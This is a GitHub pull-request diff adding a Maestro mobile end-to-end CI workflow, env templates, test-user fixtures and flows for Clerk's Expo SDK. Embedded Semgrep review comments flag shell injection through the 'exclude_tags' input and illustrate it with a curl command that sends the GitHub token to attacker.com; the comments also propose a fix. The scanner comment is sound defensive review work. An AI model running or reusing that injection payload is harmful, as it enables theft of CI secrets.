Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .changeset/expo-native-component-tests.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
---
'@clerk/expo': patch
---

- Export `NativeSessionSync` and `app.plugin.js` sub-plugins to enable unit testing (internal, no public API change).
- Add JUnit/Robolectric/MockK test dependencies to the Android module for native unit tests.
267 changes: 267 additions & 0 deletions .github/workflows/mobile-e2e.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,267 @@
# Manual mobile e2e for @clerk/expo native components.
# Clones clerk-expo-quickstart, builds the NativeComponentQuickstart app,
# and runs Maestro flows on iOS simulator and Android emulator.
#
# Secrets:
# INTEGRATION_INSTANCE_KEYS — JSON map of named test instances
# ({ "<name>": { "pk": "pk_test_...", "sk": "sk_test_..." } }).
# Same secret used by /integration (Playwright). We read the entry named
# EXPO_INSTANCE_NAME (set in env: below).
#
# Test users are provisioned per-run via Clerk Backend API and deleted at
# teardown — same pattern as /integration's createBapiUser.
#
# TODO(SDK team): confirm the instance-name slot to add inside
# INTEGRATION_INSTANCE_KEYS for this workflow (placeholder: "expo-native").
name: "Mobile e2e (@clerk/expo)"

on:
workflow_dispatch:
inputs:
quickstart_ref:
description: "clerk-expo-quickstart git ref (branch, tag, or SHA)"
required: false
default: "main"
exclude_tags:
description: "Maestro tags to exclude (comma-separated)"
required: false
default: "manual,skip"

env:
# TODO(SDK team): replace with the canonical mobile-e2e instance name once confirmed.
EXPO_INSTANCE_NAME: expo-native

concurrency:
group: mobile-e2e-${{ github.ref }}
cancel-in-progress: true

jobs:
android:
name: Android
runs-on: ubuntu-latest
timeout-minutes: 45
defaults:
run:
working-directory: .
steps:
- name: Checkout @clerk/javascript
uses: actions/checkout@v4

- name: Checkout clerk-expo-quickstart
uses: actions/checkout@v4
with:
repository: clerk/clerk-expo-quickstart
ref: ${{ inputs.quickstart_ref }}
path: clerk-expo-quickstart

- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: pnpm

- name: Install monorepo deps
run: pnpm install --frozen-lockfile

- name: Build @clerk/expo
run: pnpm turbo build --filter=@clerk/expo...

- name: Install quickstart deps
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: pnpm install

- name: Resolve Clerk instance keys
id: keys
env:
INTEGRATION_INSTANCE_KEYS: ${{ secrets.INTEGRATION_INSTANCE_KEYS }}
run: |
if [ -z "$INTEGRATION_INSTANCE_KEYS" ]; then
echo "::error::INTEGRATION_INSTANCE_KEYS secret is not set"
exit 1
fi
pk=$(echo "$INTEGRATION_INSTANCE_KEYS" | jq -er ".[\"$EXPO_INSTANCE_NAME\"].pk") || {
echo "::error::No entry '$EXPO_INSTANCE_NAME' found in INTEGRATION_INSTANCE_KEYS"
exit 1
}
sk=$(echo "$INTEGRATION_INSTANCE_KEYS" | jq -er ".[\"$EXPO_INSTANCE_NAME\"].sk")
echo "::add-mask::$sk"
echo "pk=$pk" >> "$GITHUB_OUTPUT"
echo "sk=$sk" >> "$GITHUB_OUTPUT"

- name: Write quickstart .env
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: |
echo "EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=${{ steps.keys.outputs.pk }}" > .env

- name: Provision test user via BAPI
id: user
env:
CLERK_SECRET_KEY: ${{ steps.keys.outputs.sk }}
run: |
email="ci-${GITHUB_RUN_ID}-${RANDOM}+clerk_test@clerkcookie.com"
password="ClerkCI!$(openssl rand -hex 8)Aa1"
response=$(curl -fsS -X POST https://api.clerk.com/v1/users \
-H "Authorization: Bearer $CLERK_SECRET_KEY" \
-H "Content-Type: application/json" \
-d "{\"email_address\":[\"$email\"],\"password\":\"$password\"}")
user_id=$(echo "$response" | jq -er '.id')
echo "::add-mask::$password"
echo "email=$email" >> "$GITHUB_OUTPUT"
echo "password=$password" >> "$GITHUB_OUTPUT"
echo "user_id=$user_id" >> "$GITHUB_OUTPUT"

- name: Set up JDK 17
uses: actions/setup-java@v4
with:
distribution: temurin
java-version: 17

- name: Install Maestro
run: |
curl -Ls "https://get.maestro.mobile.dev" | bash
echo "$HOME/.maestro/bin" >> "$GITHUB_PATH"

- name: Run Android e2e
uses: reactivecircus/android-emulator-runner@v2
env:
CLERK_TEST_EMAIL: ${{ steps.user.outputs.email }}
CLERK_TEST_PASSWORD: ${{ steps.user.outputs.password }}
with:
api-level: 34
target: google_apis
arch: x86_64
script: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:android --variant release --no-bundler
cd ../../integration-mobile
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }}"

- name: Upload Maestro artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: maestro-android
path: ~/.maestro/tests

- name: Cleanup test user
if: always() && steps.user.outputs.user_id != ''
env:
CLERK_SECRET_KEY: ${{ steps.keys.outputs.sk }}
USER_ID: ${{ steps.user.outputs.user_id }}
run: |
curl -fsS -X DELETE "https://api.clerk.com/v1/users/$USER_ID" \
-H "Authorization: Bearer $CLERK_SECRET_KEY" || true

ios:

Check warning

Code scanning / CodeQL

Workflow does not contain permissions Medium

Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read}
name: iOS
runs-on: macos-15
timeout-minutes: 60
steps:
- name: Checkout @clerk/javascript
uses: actions/checkout@v4

- name: Checkout clerk-expo-quickstart
uses: actions/checkout@v4
with:
repository: clerk/clerk-expo-quickstart
ref: ${{ inputs.quickstart_ref }}
path: clerk-expo-quickstart

- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: pnpm

- name: Install monorepo deps
run: pnpm install --frozen-lockfile

- name: Build @clerk/expo
run: pnpm turbo build --filter=@clerk/expo...

- name: Install quickstart deps
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: pnpm install

- name: Resolve Clerk instance keys
id: keys
env:
INTEGRATION_INSTANCE_KEYS: ${{ secrets.INTEGRATION_INSTANCE_KEYS }}
run: |
if [ -z "$INTEGRATION_INSTANCE_KEYS" ]; then
echo "::error::INTEGRATION_INSTANCE_KEYS secret is not set"
exit 1
fi
pk=$(echo "$INTEGRATION_INSTANCE_KEYS" | jq -er ".[\"$EXPO_INSTANCE_NAME\"].pk") || {
echo "::error::No entry '$EXPO_INSTANCE_NAME' found in INTEGRATION_INSTANCE_KEYS"
exit 1
}
sk=$(echo "$INTEGRATION_INSTANCE_KEYS" | jq -er ".[\"$EXPO_INSTANCE_NAME\"].sk")
echo "::add-mask::$sk"
echo "pk=$pk" >> "$GITHUB_OUTPUT"
echo "sk=$sk" >> "$GITHUB_OUTPUT"

- name: Write quickstart .env
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: |
echo "EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=${{ steps.keys.outputs.pk }}" > .env

- name: Provision test user via BAPI
id: user
env:
CLERK_SECRET_KEY: ${{ steps.keys.outputs.sk }}
run: |
email="ci-${GITHUB_RUN_ID}-${RANDOM}+clerk_test@clerkcookie.com"
password="ClerkCI!$(openssl rand -hex 8)Aa1"
response=$(curl -fsS -X POST https://api.clerk.com/v1/users \
-H "Authorization: Bearer $CLERK_SECRET_KEY" \
-H "Content-Type: application/json" \
-d "{\"email_address\":[\"$email\"],\"password\":\"$password\"}")
user_id=$(echo "$response" | jq -er '.id')
echo "::add-mask::$password"
echo "email=$email" >> "$GITHUB_OUTPUT"
echo "password=$password" >> "$GITHUB_OUTPUT"
echo "user_id=$user_id" >> "$GITHUB_OUTPUT"

- name: Cache SPM
uses: actions/cache@v4
with:
path: ~/Library/Developer/Xcode/DerivedData
key: spm-${{ hashFiles('packages/expo/package.json') }}

- name: Install Maestro
run: |
curl -Ls "https://get.maestro.mobile.dev" | bash
echo "$HOME/.maestro/bin" >> "$GITHUB_PATH"

- name: Build and run iOS e2e
env:
CLERK_TEST_EMAIL: ${{ steps.user.outputs.email }}
CLERK_TEST_PASSWORD: ${{ steps.user.outputs.password }}
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"

Comment on lines +244 to +252
Copy link
Copy Markdown

@semgrep-code-clerk semgrep-code-clerk Bot Apr 16, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

Fixed in commit fe9e3fe

Comment on lines +244 to +252
Copy link
Copy Markdown

@semgrep-code-clerk semgrep-code-clerk Bot Apr 16, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

🧹 Fixed in commit 4b7c966 🧹

Comment on lines +244 to +252
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

User-controlled inputs.exclude_tags is directly interpolated into a shell command, allowing command injection attacks to steal secrets and execute arbitrary code on the runner.

More details about this

The run: step passes ${{ inputs.exclude_tags }} directly into a shell command without using an environment variable. An attacker who controls the exclude_tags input can inject arbitrary commands that will execute on the runner.

Here's how this could be exploited:

  1. Attacker submits a workflow dispatch: They trigger the workflow with a malicious exclude_tags input like: androidOnly; curl https://attacker.com/steal?secrets=$(base64 < $GITHUB_TOKEN)

  2. The input gets interpolated: The ${{ inputs.exclude_tags }} expression is resolved to the attacker's payload before the shell script runs.

  3. Arbitrary code executes: The command becomes:

    maestro test --exclude-tags androidOnly; curl https://attacker.com/steal?secrets=$(base64 < $GITHUB_TOKEN),androidOnly

    The attacker's curl command now runs in the same shell context, allowing them to exfiltrate secrets like $GITHUB_TOKEN that have repository access.

  4. Secrets are stolen: The attacker receives the encoded secrets at their server and can use them to access your codebase or protected resources.

The inputs context is user-controlled and untrusted—it should never be passed directly to shell commands using variable interpolation.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"
env:
CLERK_TEST_EMAIL: ${{ steps.user.outputs.email }}
CLERK_TEST_PASSWORD: ${{ steps.user.outputs.password }}
EXCLUDE_TAGS: ${{ inputs.exclude_tags }} # Add exclude tags to environment
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "$EXCLUDE_TAGS,androidOnly"
View step-by-step instructions
  1. Move the use of ${{ inputs.exclude_tags }} outside the run: script by adding a new environment variable under env: at the same workflow step. For example, add EXCLUDE_TAGS: ${{ inputs.exclude_tags }}.
  2. In your run: script, replace every usage of "${{ inputs.exclude_tags }}" or "${{ inputs.exclude_tags }},androidOnly" with "$EXCLUDE_TAGS" or "$EXCLUDE_TAGS,androidOnly".
    For your specific script, replace: xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"
    with: xargs -0 maestro test --exclude-tags "$EXCLUDE_TAGS,androidOnly"
  3. Make sure to always use double quotes around the environment variable in the shell script, like "$EXCLUDE_TAGS", to avoid word-splitting or command injection issues.

This change removes direct interpolation of possibly user-controlled input into the shell and prevents command injection.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

You can view more details about this finding in the Semgrep AppSec Platform.

- name: Upload Maestro artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: maestro-ios
path: ~/.maestro/tests

- name: Cleanup test user
if: always() && steps.user.outputs.user_id != ''
env:
CLERK_SECRET_KEY: ${{ steps.keys.outputs.sk }}
USER_ID: ${{ steps.user.outputs.user_id }}
run: |
curl -fsS -X DELETE "https://api.clerk.com/v1/users/$USER_ID" \
-H "Authorization: Bearer $CLERK_SECRET_KEY" || true

Check warning

Code scanning / CodeQL

Workflow does not contain permissions Medium

Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read}
Comment on lines +159 to +267
7 changes: 7 additions & 0 deletions integration-mobile/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Local env file — never commit. Use config/.env.example as the template.
config/.env

# Maestro artifacts
*.png
*.mp4
maestro-output/
18 changes: 18 additions & 0 deletions integration-mobile/config/.env.example
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
# Copy to .env and fill in values from your Clerk dev instance.
# .env is gitignored.

# Clerk publishable key for the test app (development instance)
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your_key_here

# Google Sign-In (iOS): the reversed-client-id URL scheme from GoogleService-Info.plist
EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME=com.googleusercontent.apps.your-ios-client-id

# Google Sign-In (Android + iOS): the web client ID
EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID=your-web-client-id.apps.googleusercontent.com

# Test user (must use Clerk's testmode +clerk_test pattern for high-rate-limit access)
CLERK_TEST_EMAIL=tester+clerk_test@example.com
CLERK_TEST_PASSWORD=ClerkTest!2024

# Optional: which simulator/emulator to target by default (Maestro will auto-pick if unset)
# MAESTRO_DEVICE=iPhone 16 Pro
27 changes: 27 additions & 0 deletions integration-mobile/fixtures/test-users.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
{
"$schema": "Test user metadata for the Maestro flows. Real credentials live in config/.env, never in this file.",
"users": [
{
"id": "primary",
"description": "Primary test user. Pre-existing in the Clerk dev instance.",
"emailEnv": "CLERK_TEST_EMAIL",
"passwordEnv": "CLERK_TEST_PASSWORD"
},
{
"id": "secondary",
"description": "Used by sign-out-then-sign-in-different-user flow. Provision separately.",
"emailEnv": "CLERK_TEST_EMAIL_SECONDARY",
"passwordEnv": "CLERK_TEST_PASSWORD_SECONDARY"
},
{
"id": "signup",
"description": "Generated per run with the +clerk_test pattern so verification codes auto-resolve.",
"emailTemplate": "tester+clerk_test_{timestamp}@example.com",
"passwordEnv": "CLERK_TEST_PASSWORD"
}
],
"notes": [
"Use +clerk_test addresses to bypass captcha and get higher rate limits.",
"Document any new test users you add here so future devs know what they're for."
]
}
9 changes: 9 additions & 0 deletions integration-mobile/flows/common/assert-signed-in.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Subflow: assert the user is on the signed-in home screen.
appId: com.clerk.clerkexpoquickstart
---
- assertVisible:
text: "Welcome"
- assertVisible:
text: "Manage Profile"
- assertVisible:
text: "Sign Out"
5 changes: 5 additions & 0 deletions integration-mobile/flows/common/assert-signed-out.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Subflow: assert the user is on the signed-out screen with the AuthView visible.
appId: com.clerk.clerkexpoquickstart
---
- assertVisible:
text: 'Welcome! Sign in to continue\.?'
Loading
Loading